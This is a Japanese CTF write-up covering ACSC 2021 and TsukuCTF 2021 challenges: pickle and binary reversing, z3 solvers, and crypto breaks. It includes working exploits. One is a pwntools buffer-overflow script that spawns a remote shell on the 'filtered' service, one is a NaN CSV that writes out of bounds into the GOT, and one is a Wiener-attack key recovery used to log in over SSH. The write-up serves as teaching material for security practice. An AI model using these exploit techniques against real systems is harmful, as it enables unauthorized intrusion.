0x7ea4500:      0x91    0xe3    0xde    0x70    0x5d    0xee    0x88    0x1d
0x7ea4508:      0xcb    0xa8    0x4e    0x84    0x0f    0xeb    0x0e    0x24
ACSC{91e3de705dee881dcba84e840feb0e24}

[Rev 220] Pickle Rick (23 solves)

chal.py という以下のPythonコードと、rick.pickle というファイルが与えられる。3.9以上のPythonで実行すると rick.pickle をunpickleするようだ。

# /usr/bin/env python3
import pickle
import sys

# Check version >= 3.9
if sys.version_info[0] != 3 or sys.version_info[1] < 9:
    print("Check your Python version!")
    exit(0)

# This function is truly amazing, so do not fix it!
def amazing_function(a, b, c=None):
    if type(b) == int:
        return a[b]
    else:
        return (
            f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
        )


with open("rick.pickle", "rb") as f:
    pickle_rick = f.read()

rick_says = b"Wubba lubba dub-dub!!"  # What is the right input here?
assert type(rick_says) == bytes and len(rick_says) == 21
pickle.loads(pickle_rick)

とりあえず実行してみると以下のように出力された。chal.pyrick_says に格納した文字列が合っているかどうかチェックしてくれるらしい。

root@13346db59d34:~# python chal.py
...
Pickle Rick says:
b'Wubba lubba dub-dub!!'
The flag machine says:
WRONG!

rick.pickleを読む

まず rick.picklepickletools で逆アセンブルする。

import pickletools
with open('rick.pickle', 'rb') as f:
  s = f.read()
pickletools.dis(s)

アセンブルされたコードを見ていくと、最初にいくつかのメッセージを print している様子が確認できる。

    0: c    GLOBAL     'builtins print'
   16: T    BINSTRING  '\n...'
17122: \x85 TUPLE1
17123: R    REDUCE
17124: c    GLOBAL     'builtins print'
17140: S    STRING     'Pickle Rick says:'
17161: \x85 TUPLE1
17162: R    REDUCE
17163: c    GLOBAL     'builtins print'
17179: c    GLOBAL     '__main__ rick_says'
17199: \x85 TUPLE1
17200: R    REDUCE
17201: c    GLOBAL     'builtins print'
17217: S    STRING     'The flag machine says:'
17243: \x85 TUPLE1
17244: R    REDUCE

その後に複雑なタプルの定義が続く。

17245: J    BININT     115
17250: \x85 TUPLE1
17251: J    BININT     99
17256: \x85 TUPLE1
17257: \x86 TUPLE2
17258: J    BININT     97
17263: \x85 TUPLE1
17264: J    BININT     162
17269: \x85 TUPLE1
...
19032: \x86 TUPLE2
19033: \x86 TUPLE2
19034: \x86 TUPLE2
19035: \x86 TUPLE2
19036: \x94 MEMOIZE    (as 0)

その後 type(amazing_function)type(getattr(amazing_function, '__code__')) によって functioncode を取り出している。それらを利用して searchmix という謎の関数を定義している。

19038: c    GLOBAL     'builtins type'
19053: c    GLOBAL     '__main__ amazing_function'
19080: \x85 TUPLE1
19081: R    REDUCE
19082: c    GLOBAL     'builtins type'
19097: c    GLOBAL     'builtins getattr'
19115: c    GLOBAL     '__main__ amazing_function'
19142: S    STRING     '__code__'
19154: \x86 TUPLE2
19155: R    REDUCE
19156: \x85 TUPLE1
19157: R    REDUCE
19158: (    MARK
19159: J        BININT     2
19164: J        BININT     0
19169: J        BININT     0
19174: J        BININT     5
19179: J        BININT     6
19184: J        BININT     67
19189: B        BINBYTES   b'd\x01}\x02zB|\x00\\\x02}\x03}\x04|\x01d\x02\x16\x00|\x02k\x02r0|\x04}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02n\x14|\x03}\x00|\x01d\x02\x1c\x00}\x01d\x03|\x02\x18\x00}\x02W\x00q\x04\x01\x00\x01\x00\x01\x00|\x00d\x01\x19\x00\x06\x00Y\x00S\x000\x00q\x04d\x00S\x00'
19292: (        MARK
...
19417: R    REDUCE
19418: }    EMPTY_DICT
19419: \x86 TUPLE2
19420: R    REDUCE
19421: \x94 MEMOIZE    (as 1)

rick_says を取り出して mix した後に、tuple(search((複雑なタプル), x) for x in mix(rick_says)) のような感じでその要素をひとつずつ search に投げて、その結果をタプルとして取得している。

19873: c    GLOBAL     '__main__ rick_says'
19893: \x85 TUPLE1
19894: R    REDUCE
19895: \x94 MEMOIZE    (as 2)
19896: 0    POP
19897: c    GLOBAL     'builtins print'
19913: c    GLOBAL     '__main__ amazing_function'
19940: (    MARK
19941: g        GET        1
19944: g        GET        0
19947: c        GLOBAL     '__main__ amazing_function'
19974: g        GET        2
19977: J        BININT     0
19982: \x86     TUPLE2
19983: R        REDUCE
19984: \x86     TUPLE2
19985: R        REDUCE
...
20886: t        TUPLE      (MARK at 19940)

そのタプルと (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227) が一致していればOKなようだ。

20887: (    MARK
20888: J        BININT     53
20893: J        BININT     158
20898: J        BININT     33
20903: J        BININT     115
20908: J        BININT     5
20913: J        BININT     17
20918: J        BININT     103
20923: J        BININT     3
20928: J        BININT     67
20933: J        BININT     240
20938: J        BININT     39
20943: J        BININT     27
20948: J        BININT     19
20953: J        BININT     68
20958: J        BININT     81
20963: J        BININT     107
20968: J        BININT     245
20973: J        BININT     82
20978: J        BININT     130
20983: J        BININT     159
20988: J        BININT     227
20993: t        TUPLE      (MARK at 20887)
20994: c    GLOBAL     '__main__ rick_says'
21014: \x87 TUPLE3
21015: R    REDUCE
21016: \x85 TUPLE1
21017: R    REDUCE
21018: .    STOP

searchとmixを読む

searchmixバイトコードしか与えられていない。uncompyle6デコンパイルしてみようとしたが、どうやら対応していない命令が含まれているらしくできない。Pythonの公式ドキュメントの命令一覧を見ながら手でデコンパイルする。以下のようなPythonコードを使ってすぐにバイトコードを逆アセンブルした結果が見られるようにしておくと便利。

import dis

def search(a, b):
  return None

dis.dis(search)

c = pickle.loads(s[19038:19418] + b'.')code オブジェクトを作成する処理だけ切り抜いてunpickleしてやれば、c.co_varnamesc.co_consts から変数名や定数などの情報も得られる。これらの情報をもとに根性でデコンパイルすると以下のようになった。

def mix(a):
  ln = a.__len__()
  arr = []
  i = 0
  while i < ln:
    s, j = (0, 0)
    while j < ln:
      s += (j + 1) * a[(i + j) % ln]
      j += 1
    s %= 257
    arr.append(s)
    i += 1
  return arr

def search(a, b):
  c = 0
  while True:
    try:
      a0, a1 = a
      if b % 2 == c:
        a = a1
        b //= 2
        c = 1 - c
      else:
        a = a0
        b //= 2
        c = 1 - c
    except:
      return a[0]

あとはソルバを書いて実行するだけ。

from z3 import *

def amazing_function(a, b, c=None):
  if type(b) == int:
    return a[b]
  else:
    return (
      f"CORRECT! The flag is: ACSC{{{c.decode('ascii')}}}" if a == b else "WRONG!"
    )

def mix(a):
  ln = a.__len__()
  arr = []
  i = 0
  while i < ln:
    s, j = (0, 0)
    while j < ln:
      s += (j + 1) * a[(i + j) % ln]
      j += 1
    s %= 257
    arr.append(s)
    i += 1
  return arr

xx = (((((((((115,), (99,)), ((97,), (162,))), (((81,), (225,)), ((215,), (72,)))), ((((111,), (229,)), ((64,), (155,))), (((212,), (66,)), ((95,), (200,))))), (((((177,), (45,)), ((206,), (18,))), (((140,), (47,)), ((122,), (19,)))), ((((186,), (123,)), ((91,), (94,))), (((26,), (104,)), ((119,), (88,)))))), ((((((44,), (82,)), ((58,), (139,))), (((193,), (101,)), ((209,), (213,)))), ((((65,), (16,)), ((164,), (124,))), (((150,), (149,)), ((132,), (1,))))), (((((79,), (236,)), ((131,), (196,))), (((113,), (194,)), ((185,), (4,)))), ((((107,), (36,)), ((181,), (218,))), (((120,), (40,)), ((142,), (11,))))))), (((((((183,), (129,)), ((51,), (125,))), (((6,), (222,)), ((13,), (161,)))), ((((141,), (109,)), ((100,), (175,))), (((153,), (252,)), ((117,), (127,))))), (((((54,), (156,)), ((62,), (167,))), (((160,), (198,)), ((152,), (211,)))), ((((178,), (21,)), ((73,), (214,))), (((253,), (135,)), ((105,), (190,)))))), ((((((85,), (12,)), ((243,), (34,))), (((137,), (233,)), ((128,), (228,)))), ((((151,), (8,)), ((247,), (92,))), (((60,), (174,)), ((138,), (114,))))), (((((130,), (169,)), ((15,), (103,))), (((230,), (106,)), ((158,), (57,)))), ((((76,), (5,)), ((84,), (210,))), (((32,), (39,)), ((165,), (87,)))))))), ((((((((184,), (237,)), ((28,), (207,))), (((75,), (172,)), ((176,), (231,)))), ((((37,), (195,)), ((232,), (182,))), (((25,), (201,)), ((188,), (61,))))), (((((163,), (251,)), ((227,), (2,))), (((46,), (35,)), ((71,), (250,)))), ((((246,), (38,)), ((136,), (255,))), (((199,), (29,)), ((20,), (242,)))))), ((((((238,), (126,)), ((17,), (179,))), (((148,), (220,)), ((240,), (86,)))), ((((59,), (145,)), ((80,), (189,))), (((224,), (170,)), ((24,), (143,))))), (((((0,), (10,)), ((166,), (77,))), (((41,), (203,)), ((31,), (90,)))), ((((239,), (191,)), ((197,), (112,))), (((159,), (118,)), ((157,), (244,))))))), (((((((226,), (216,)), ((43,), (49,))), (((70,), (93,)), ((50,), (78,)))), ((((7,), (208,)), ((96,), (202,))), (((89,), (108,)), ((168,), (235,))))), (((((3,), (254,)), ((146,), (55,))), (((9,), (180,)), ((241,), (121,)))), ((((98,), (110,)), ((68,), (83,))), (((63,), (42,)), ((69,), (52,)))))), ((((((30,), (221,)), ((27,), (248,))), (((33,), (147,)), ((205,), (14,)))), ((((56,), (116,)), ((173,), (192,))), (((53,), (74,)), ((234,), (223,))))), (((((154,), (67,)), ((187,), (217,))), (((23,), (134,)), ((171,), (102,)))), ((((22,), (204,)), ((249,), (245,))), (((219,), (144,)), ((48,), (133,)))))))))
def search(a, b):
  c = 0
  while True:
    try:
      a0, a1 = a
      if b % 2 == c:
        a = a1
        b //= 2
        c = 1 - c
      else:
        a = a0
        b //= 2
        c = 1 - c
    except:
      return a[0]

flag = [Int(f'x_{i}') for i in range(21)]
solver = Solver()
for c in flag:
  solver.add(0x20 <= c, c < 0x7f)

rick_says = mix(flag)

tmp = []
target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
for x in target:
  for y in range(256):
    r = search(xx, y)
    if r == x:
      tmp.append(y)
      break

print(tmp)

for c, d in zip(tmp, rick_says):
  solver.add(c == d)

c = solver.check()
print(c)
m = solver.model()
res = ''
for c in flag:
  res += chr(m[c].as_long())
print(res)

実行してしばらく待つとフラグが得られた。

$ python solve.py
...
YEAH!I'm_pickle-RICK!
ACSC{YEAH!I'm_pickle-RICK!}

[Rev 270] encoder (23 solves)

encoder というELFと、それによって暗号化されたらしき flag.jpg.enc というファイルが与えられる。以下の実行結果から推測できるように、どのように暗号化されるかは毎秒変わる。

$ echo AAAABBBBCCCCAAAA > test.txt
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:06 UTC 2021
00000000: 1c08 0381 2070 040e 0081 2010 0402 4080  .... p.... ...@.
00000010: 0814 8102 5020 0a04 81c0 1038 0207 e040  ....P .....8...@
00000020: 1001      
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:10 UTC 2021
00000000: 0004 8000 1000 0200 c040 1808 0301 2060  .........@.... `
00000010: 0408 0081 2010 0402 4000 0800 0100 0020  .... ...@...... 
00000020: 0c0d                                     ..
$ ./encoder test.txt; date; xxd test.txt.enc
Sun Sep 19 13:48:10 UTC 2021
00000000: 0004 8000 1000 0200 c040 1808 0301 2060  .........@.... `
00000010: 0408 0081 2010 0402 4000 0800 0100 0020  .... ...@...... 
00000020: 0c0d                                     ..

まずIDA Freewareで静的解析を試みたが、main 関数は以下のように mprotect を呼び出した後に無効な命令を実行してしまうようだ。

f:id:st98:20210919225033p:plain

よくバイナリを見ると、.init_array セクションでいくつもアドレスが登録されている。2つ目の関数を見てみると、以下のように sigaction4 というシグナルを受信した際に別の関数が呼び出されるように設定されていることがわかる。4SIGILL だ。main の最後に無効な命令が置かれていたのは、この関数を呼び出させるためだろう。

f:id:st98:20210919225615p:plain

ほかにも色々な解析妨害が施されており面倒だ。別の方法でバイナリの挙動を探る。

試しに rand を差し替えてみる。まず以下のCコードを gcc -shared -fPIC rand.c -o rand.soコンパイルする。NYAN=123 LD_PRELOAD=./rand.so ./encoder a.txt を何度も実行しても出力された a.txt.enc の内容は変わらない。暗号化のアルゴリズムrand に依存しているようだ。

#include <stdlib.h>
int rand(void) {
  return atoi(getenv("NYAN"));
}

ltrace で関数の呼び出しを見てみると、rand は一度しか呼び出されていないことがわかる。.init_array に登録されていた関数内のアレだろう。あの関数では rand() % 255 と剰余が取られていた。255通りなら総当たりできる。それで flag.jpg.enc が暗号化されたときの rand の返り値が特定できないか試してみる。

適当なJPEGを用意し、最初の数バイトを切り出す。続いて、for x in {0..254}; do NYAN=$x LD_PRELOAD=./rand.so ./encoder dummy.jpg; cp -p dummy.jpg.enc dust/$x.enc; done で255通りの暗号化を試す。以下のPythonスクリプトでそれらのファイルと flag.jpg.enc の最初の数バイトを比較してやると、flag.jpg.enc が暗号化されたときの rand() % 255 は80であるとわかった。

import glob
with open('flag.jpg.enc', 'rb') as f:
  s = f.read()
for fn in glob.glob('tmp/*'):
  with open(fn, 'rb') as f:
    t = f.read()
  if t == s[:len(t)]:
    print(fn)
$ python3 check.py 
tmp/80.enc

これを使って、なんとか復号できないだろうか。暗号化のアルゴリズムを探っていく。同じ文字が続くテキストファイルの暗号化を試していると、以下のようにファイルは1バイトずつ暗号化されて、1バイトにつき2バイトが出力されていることがわかる。どのように暗号化されるかはその文字の位置だけが影響し、直前の文字などは影響しない。また、それも16バイトでループする。

$ echo "AAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc
00000000: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8  ....`t....:0.F..
00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000030: 1d14 03a3 6074 8c0e d181 3a30 0505       ....`t....:0..
$ echo "BAAAAAAAAAAAAAAAAAAAAAAABAAAAA" > a.txt; NYAN=80 LD_PRELOAD=./rand.so ./encoder a.txt; xxd a.txt.enc
00000000: 141d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000010: 1d18 03a3 6074 8c0e d181 3a30 0746 c0e8  ....`t....:0.F..
00000020: 181d a303 7460 0e8c 81d1 303a 4607 e8c0  ....t`....0:F...
00000030: 1d14 03a3 6074 8c0e d181 3a30 0505       ....`t....:0..

つまり、0から255までの値についてそれぞれ16通りの暗号化を試してテーブルを作成すれば、flag.jpg.enc の元のファイルが得られるはずだ。Pythonスクリプトを書く。

import os

payload = b''
for x in range(256):
  payload += bytes([x]) * 16
with open('tmp.bin', 'wb') as f:
  f.write(payload)
os.system('NYAN=80 LD_PRELOAD=./rand.so ./encoder tmp.bin')

table = {}
with open('tmp.bin.enc', 'rb') as f:
  for x in range(16):
    table[x] = {}
    for y in range(256):
      f.seek(32 * y + 2 * x)
      table[x][f.read(2)] = y

with open('flag.jpg.enc', 'rb') as f:
  i = 0
  res = b''
  while True:
    print(i)
    x = f.read(2)
    if x == b'':
      break
    res += bytes([table[i % 16][x]])
    i += 1

with open('flag.jpg', 'wb') as f:
  f.write(res)

実行すると flag.jpg.enc の元のファイルが取得でき、フラグが得られた。

f:id:st98:20210919232108j:plain

ACSC{it is too easy to recover this stuff, huh?}

[Rev 360] Tnzr (10 solves)

Windowsの実行ファイルが与えられる。実行すると次のような15x15のビンゴカードが表示される。適当に操作していると、WASDでカーソルの移動が、スペースキーでカーソルが指しているマスをうずまき → 目 → 何もなしに変えられることがわかる。

f:id:st98:20210919215546p:plain

Nで次のビンゴカードに移動し、Cですべてのビンゴカードが正しい配置になっているかまとめてチェックされる。Cキーでのチェック時にどこかが間違っていれば以下のようにWRONGと表示される。ちなみに、ビンゴカードは全部で35枚ある。

f:id:st98:20210919224049p:plain

IDA Freewareで解析するとSDLが使われていることがわかる。WinMain からメインループを追ったり、キーボードの状態を取得する関数である SDL_GetKeyboardState のxrefsからWASDが押されたかどうかのチェックなどをしている関数(0x1400015E0)を特定していくと、ビンゴカードのデータが格納されているらしきアドレス(0x1400172D0)も特定できる。

f:id:st98:20210919222232p:plain

その関数の最後で呼び出されている関数も見てみると、以下のようにビンゴカードが1行ずつ謎の比較がされておりかなり怪しい。ビンゴカードが正しい配置になっているか確認する関数だろう。

f:id:st98:20210919222551p:plain

雑にPythonで書き直して、Z3Pyでソルバを作る。

import struct
from PIL import Image
from z3 import *

def u32(x):
  return struct.unpack('<I', x)[0]

with open('distfiles/Tnzr.exe', 'rb') as f:
  table = io.BytesIO(f.read())

def get_addr(x):
  table.seek(x)
  return u32(table.read(4))

def get_row(row, i):
  return row[i + 13]

im = Image.new('L', (15 * 35, 15))
pix = im.load()

s1 = 0xd650 - (0x3c30 + 195 * 4)
for i in range(0, 31500, 900):
  print(i)
  solver = Solver()

  card = [[Int(f'card_{y}_{x}') for x in range(15)] for y in range(15)]
  for y in range(15):
    for x in range(15):
      solver.add(Or(card[y][x] == 0, card[y][x] == 1, card[y][x] == 2))

  s2 = (0x3c30 + 195 * 4) + i
  s3 = (0x3c30 + 195 * 4) + i
  v5 = s1
  card_ = iter(card)
  for k in range(15, 0, -1):
    row = next(card_)
    v8 = get_row(row, 1)
    v9 = s2
    v10 = get_row(row, 0)
    v12 = get_row(row, -1)
    v13 = get_row(row, -2)
    v14 = get_row(row, -3)
    v15 = get_row(row, -4)
    for l in range(15, 0, -1):
      v16 = get_addr(v9 + v5) - \
            (
              v10 * get_addr(v9) + \
              get_row(row, -8) * get_addr(v9 - 120 * 4) + \
              get_row(row, -9) * get_addr(v9 - 135 * 4) + \
              get_row(row, -10) * get_addr(v9 - 150 * 4) + \
              get_row(row, -11) * get_addr(v9 - 165 * 4) + \
              get_row(row, -12) * get_addr(v9 - 180 * 4) + \
              get_row(row, -13) * get_addr(v9 - 195 * 4) + \
              v8 * get_addr(v9 + 15 * 4) + \
              v12 * get_addr(v9 - 15 * 4) + \
              v13 * get_addr(v9 - 30 * 4) + \
              v14 * get_addr(v9 - 45 * 4) + \
              v15 * get_addr(v9 - 60 * 4) + \
              get_row(row, -5) * get_addr(v9 - 75 * 4) + \
              get_row(row, -6) * get_addr(v9 - 90 * 4) + \
              get_row(row, -7) * get_addr(v9 - 105 * 4)
            )
      solver.add(v16 == 0)
      v9 += 4
    s2 = s3
    v5 += 60
  s1 = 0xd650 - (0x3c30 + 195 * 4)

  c = solver.check()
  model = solver.model()
  for y in range(15):
    for x in range(15):
      res = model[card[y][x]].as_long()
      pix[x + 15 * (i // 900), y] = [255, 128, 0][res]

im.save('result.png')

これを実行すると以下のような画像が出力され、フラグが得られた。

f:id:st98:20210919223928p:plain

ACSC{WELCOM3_T0_TH3_ACSC_W3_N33D_U}

[Pwn 100] filtered (168 solves)

以下のようなコードが与えられている。なんとかして win という関数に飛ばしたい。main では0x100文字より長い文字列を読み込ませないようチェックがされているが、length は符号付きなので -1 を入力するとバイパスできてしまう。これでバッファオーバーフローができる。

#include <stdlib.h>
#include <string.h>
#include <unistd.h>

/* Call this function! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
  exit(0);
}

/* Print `msg` */
void print(const char *msg) {
  write(1, msg, strlen(msg));
}

/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
  char c;
  print(msg);
  for (size_t i = 0; i < size; i++) {
    if (read(0, &c, 1) <= 0) {
      print("I/O Error\n");
      exit(1);
    } else if (c == '\n') {
      buf[i] = '\0';
      break;
    } else {
      buf[i] = c;
    }
  }
}

/* Print `msg` and read an integer value */
int readint(const char *msg) {
  char buf[0x10];
  readline(msg, buf, 0x10);
  return atoi(buf);
}

/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

  /* Read data */
  readline("Data: ", buf, length);
  print("Bye!\n");

  return 0;
}

あとは雑にリターンアドレスを win に書き換えてしまう。

$ cat s.py
from pwn import *
s = remote('167.99.78.201', 9001)
print(s.recv(1024))
s.sendline(b'-1')
print(s.recv(1024))
s.send(b'A' * (280) + p64(0x4011d6) * 100)
s.interactive()
$ python3 s.py 
[+] Opening connection to 167.99.78.201 on port 9001: Done
b'Size: '
b'Data: '
[*] Switching to interactive mode
$ ls
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag*
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}

[Pwn 200] histogram (38 solves)

身長と体重を記録したCSVファイルを投げてやると、いい感じにヒストグラムとして表示してくれる便利なアプリケーション。CSVの読み込み部分のコードは次のようになっている。weight < 1.0 || weight >= WEIGHT_MAX というチェックによって範囲外アクセスはできないようになっている。

本当だろうか。よく見ると身長と体重は fscanf(fp, "%lf,%lf", &weight, &height)double として読み込まれている。もし nan を読み込ませれば、weight < 1.0weight >= WEIGHT_MAX も偽になる。その後の (short)ceil(weight / WEIGHT_STRIDE) - 1i-1 が入り、map[i][j]++ で範囲外アクセスができてしまう。

#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)

int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};

// …

int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
  j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}

IDA Freewareで map の周囲を見てみると、ちょうど .got.plt が直前に配置されている。適当に書き換えてしまおう。今回は事前に用意された以下の win という関数に飛ばせばよい。

void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}

fclosewin に書き換えるようなCSVを作り、ヒストグラムに変換するとフラグが得られた。

$ python3 -c "print('nan,30\n' * 520)" > b.csv; ./histogram.bin b.csv 
$ curl -k -i https://histogram.chal.acsc.asia/api/histogram -F csv=@b.csv
...
ACSC{NaN_demo_iiyo}

[Forensics 140] NYONG Coin (26 solves)

E01という拡張子を持つファイルが与えられる。仮想通貨のトランザクションが記録されたファイルがたくさん含まれているのだけれども、どうやらその中のひとつは改ざんされているらしい。改ざんされた箇所を答えろという問題。

FTK Imagerで開いてみると、たしかに.xlsxファイルがたくさんある。ただ、レコードが多すぎてどれが不審なトランザクションなのか全くわからない。諦めてunallocated spaceを眺めていると、PK とか [Content_Types].xml といった文字列が目に入った。ほかにも.xlsxファイルがあるようなので切り出す。別のよく似た.xlsxとともにCSVに変換した上でdiffを取ってみると、ひとつのトランザクションだけ改ざんされていることが確認できた。

ACSC{8d77a554-dc64-478c-b093-da4493a8534d}

[Crypto 100] RSA stream (121 solves)

以下のような chal.py というPythonスクリプトと、n などのパラメータが書かれた output.txt、暗号化されたファイルである chal.enc が与えられる。c = stream ^ q という部分を見ると、暗号化されたファイルと chal.py をXORすれば pow(m, 0x10001, n)pow(m, 0x10003, n) が得られることがわかる。

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)
ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}

TsukuCTF 2021 writeup

9/11 - 9/12という日程で開催された。ひとりチーム( 'ᾥ' )の🐜として参加して、全完し1位だった。同じくひとりチームの_(:3」∠)_として出たOpen xINT CTF 2020に引き続き、OSINTがメインの大会で優勝できて嬉しい。


Tsukushi

[Tsukushi 100] Welcome (154 solves)

問題文にあるとおり、公式Twitterアカウントの名前を見るだけ。

TsukuCTF{2021}

Rev

[Rev 484] Legacy code (7 solves)

i286のアセンブリが与えられる。読んでいくと、まず最初に変数の初期化をしているらしき箇所がある。

main:
    enterw   $24-2,    $0
    movw $9,    -2(%bp)
    movw $0,    -6(%bp)
    movw $0,    -4(%bp)
    movw $0x28A4, -10(%bp)
    movw $0x4448, -8(%bp)
    movw $0xE148, -14(%bp)
    movw $0x3EBA, -12(%bp)

続いて浮動小数点数の演算。-10(%bp)-14(%bp) を読み込んで加算し、-6(%bp) に格納している。

 .arch pentium
    finit
    fld  -10(%bp)
    fld  -14(%bp)
    faddp    %st(0), %st(1)
    fstp -6(%bp)
    fwait
    .arch i286

演算の結果を printf で出力している。

 movw -6(%bp),    %ax
    movw -4(%bp),    %dx
    leaw -22(%bp),   %cx
    pushw    %dx
    pushw    %ax
    pushw    %cx
    pushw    %ss
    popw %ds
    call __extendsfdf2
    addw $6,    %sp
    movw -22(%bp),   %cx
    movw -20(%bp),   %ax
    movw -18(%bp),   %dx
    movw -16(%bp),   %bx
    pushw    %bx
    pushw    %dx
    pushw    %ax
    pushw    %cx
    pushw    -2(%bp)
    pushw    $.LC0
    pushw    %ss
    popw %ds
    call printf

Cで同じようなことをするコードを書き、実行するとフラグが得られる。

#include <stdio.h>
int main(void) {
  char s[100] = {
    0x48, 0xe1, 0xba, 0x3e,
    0xa4, 0x28, 0x48, 0x44,
    0x00, 0x00, 0x00, 0x00,
    0x09, 0x00
  };
  float x = *(float *)(s) + *(float *)(s + 4);
  printf("PC%d%.0f\n", *(int *)(s + 12), x);
  return 0;
}
$ gcc -o a a.c && ./a
PC9801
TsukuCTF{PC9801}

Network

[Network 464] genesis (10 solves)

ぶろっくちぇーんえくすぷろーらーなるよくわからんWebアプリケーションのURLを渡される。APIの使い方が書かれているページを眺めていると、"メッセージはトランザクション(tx)に埋め込まれています" というヒントで言及されているトランザクションを取得できるらしいAPIがあることがわかった。

f:id:st98:20210912055058p:plain

とりあえず前者の /api/getrawtransaction?txid=f44d8ca0b6e787c2193297aec523d685bc0ab5a38eca5a0b014c5a679507b13e&decrypt=0 にアクセスしてみると、以下のようなデータが返ってきた。

01000000010000000000000000000000000000000000000000000000000000000000000000ffffffff2804ffff001d0104205473756b754354467b323032315f30395f31315f47454e455349535f544b437dffffffff0100f2052a01000000434104678afdb0fe5548271967f1a67130b7105cd6a828e03909a67962e0ea1f61deb649f6bc3f4cef38c4f35504e51ec112de5c384df7ba0b8d578a4c702b6bf11d5fac00000000

5473756b754354467b323032315f30395f31315f47454e455349535f544b437d がめっちゃASCIIの文字列っぽいのでデコードしてみるとフラグが得られた。

TsukuCTF{2021_09_11_GENESIS_TKC}

Crypto

[Crypto 436] CrackSSH! (13 solves)

ssh-rsa AAAA… というような形式の公開鍵が渡される。 適当にググるこれがどのような構造を持っているか紹介している記事が見つかるので、それを参考にしつつ ne を取り出す。

n = 0x201f98fba8e6f71bcd89b9d92c8a00bc856fd467e56e34390282a9e76c8fabede746bd4dd5a6a55e11d5d695dcc1ad72adaf35f83143b2ee1b7693c2edfdb9a4bae205929a48d4fb2b4fac45074fe748816988ec1760b283c1e3a1e19a5d5921ddb3b0d95d96c14b14e2a12bf538cf6ccceb082c6414340f9f03b09a259033c19

e = 0x16280d61623baf8718b00862ac1be9db2e3fe2632ea947092491aeb827a2fe54b3e9e0adc95524441339b3b405b18e48463a57a8977bf30d1a91d89fb89d254e23d1612728817528040a65c96288c6552539e9b08c75ccac124298573e5ed3ec50023643ae8b699be153d1501dc1d5ae64cebccd963c0c4f47daea3d75a1c27ff

e がやたらデカいのでWiener's Attackっぽいorisano/owienerで殴るとd23740595481413555083001316385586537295798010164154043863363374388086679976575 とわかる。ius/rsatoolでPEM形式の秘密鍵を作ってSSHサーバに接続するとフラグが得られた。

$ ssh tsukushi@… -p 30022 -i private.pem 
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.11.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Sat Sep 11 06:22:16 2021 from …
$ ls
flag.txt
$ cat flag.txt
TsukuCTF{D0nt_use_w34k_RS4_key_generat10n}

Misc

[Misc 100] TORItsukushi (90 solves)

たぬき。TSUKUSHI が含まれている限り削除し続けるスクリプトを書く。

with open('many_tsukushi.txt', 'r') as f:
  s = f.read()

while 'TSUKUSHI' in s:
  s = s.replace('TSUKUSHI', '')

print(s)
TsukuCTF{Would_you_like_some_fresh-baked_Tsukushi?}

[Misc 100] Customization (98 solves)

GoogleスプレッドシートのURLが与えられる。真ん中の何も書かれていないように見えるセルにフラグが書かれていた。

f:id:st98:20210912060353p:plain

TsukuCTF{yak1n1ku_ta6eta1}

